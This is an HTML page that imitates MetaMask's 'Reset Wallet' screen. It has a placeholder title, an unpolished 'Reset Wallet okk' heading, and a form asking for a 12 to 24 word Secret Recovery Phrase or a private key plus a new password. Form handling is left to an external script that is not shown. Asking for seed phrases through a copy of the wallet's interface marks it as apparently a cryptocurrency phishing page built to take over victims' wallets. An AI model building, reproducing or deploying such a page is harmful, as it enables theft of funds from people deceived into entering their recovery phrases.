<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <link rel="stylesheet" href="./index.css">
</head>
<body>
  <div class="main">
    <div class="top">
      <h2 class="top_title">Reset Wallet okk</h2>
      <p>MetaMask does not keep a copy of your password. If you’re having trouble unlocking your account, you will need
        to
        reset your wallet. You can do this by providing the Secret Recovery Phrase you used when you set up your wallet.
      </p>

      <p>This action will delete your current wallet and Secret Recovery Phrase from this device, along with the list of
        accounts you’ve curated. After resetting with a Secret Recovery Phrase, you’ll see a list of accounts based on
        the
        Secret Recovery Phrase you use to reset. This new list will automatically include accounts that have a balance.
        You’ll also be able to re-add any other accounts created previously. Custom accounts that you’ve imported will
        need to be re-added, and any custom tokens you’ve added to an account will need to be re-added as well.</p>
      <p>Make sure you’re using the correct Secret Recovery Phrase before proceeding. You will not be able to undo this.
      </p>
    </div>
    <div class="select_div">
      <h4>Secret Recovery Phrase</h4>
      <select class="select_main" id="selectName" onChange="javascript:showDiv();">
        <option value="12">I have a 12-word phrase</option>
        <option value="15">I have a 15-word phrase</option>
        <option value="18">I have a 18-word phrase</option>
        <option value="21">I have a 21-word phrase</option>
        <option value="24">I have a 24-word phrase</option>
        <option value="pk">I have a private key</option>
      </select>
      <svg width="24" height="24" fill="currentColor" class="dropdown__icon-caret-down"
        xmlns="http://www.w3.org/2000/svg"
        style="position: relative;left: -70px;top: 20px; display: inline-block;width:24px;height:24px;"
        viewBox="0 0 512 512">
        <path
          d="m399 177c-8-8-22-8-30 0l-113 113-113-113c-8-8-22-8-30 0-8 8-8 22 0 30l128 128c8 8 22 8 30 0l128-128c8-8 8-22 0-30z">
        </path>
      </svg>
    </div>
    <div class="content-info">
      <svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg">
        <path
          d="M5 0C2.2 0 0 2.2 0 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5zm0 2c.4 0 .7.3.7.7s-.3.7-.7.7-.7-.2-.7-.6.3-.8.7-.8zm.7 6H4.3V4.3h1.5V8z"
          fill="#037dd6"></path>
      </svg>
      You can paste your entire secret recovery phrase into any field
    </div>
    <div id="inputNumber">
      <label for="1"></label>
      <input type="text" name="" id="1">
    </div>

    <div id="content-error" style="display: none;" class="content-error" style="color: red;">
      <svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg">
        <path
          d="M5 0C2.2 0 0 2.2 0 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5zm0 2c.4 0 .7.3.7.7s-.3.7-.7.7-.7-.2-.7-.6.3-.8.7-.8zm.7 6H4.3V4.3h1.5V8z"
          fill="#d73a49"></path>
      </svg>
      Secret Recovery Phrases contain 12, 15, 18, 21, or 24 words
    </div>
    <div id="content-error1" style="display: none;" class="content-error" style="color: red;">
      <svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg">
        <path
          d="M5 0C2.2 0 0 2.2 0 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5zm0 2c.4 0 .7.3.7.7s-.3.7-.7.7-.7-.2-.7-.6.3-.8.7-.8zm.7 6H4.3V4.3h1.5V8z"
          fill="#d73a49"></path>
      </svg>
      Invalid Secret Recovery Phrase
    </div>
    <div class="btm">
      <div class="password1">
        <label for="psw1">
          New password (8 characters min)
        </label>
        <input id="psw1" oninput="javascript:passwordVlaue(1)" type="password">
      </div>
          <div id="content-error_pwd1" style="display: none;color: red;">
      Password not long enough / Enter exact password characters
    </div>
      <div class="password2">
        <label for="psw2">Confirm password</label>
        <input id="psw2" oninput="javascript:passwordVlaue(2)" type="password">
      </div>
    <div id="content-error_pwd2" style="display: none;color: red;">
      Passwords don't match
    </div>
    <button>Restore</button>

    </div>
  </div>

<script src="./index.js"></script>
</body>
</html>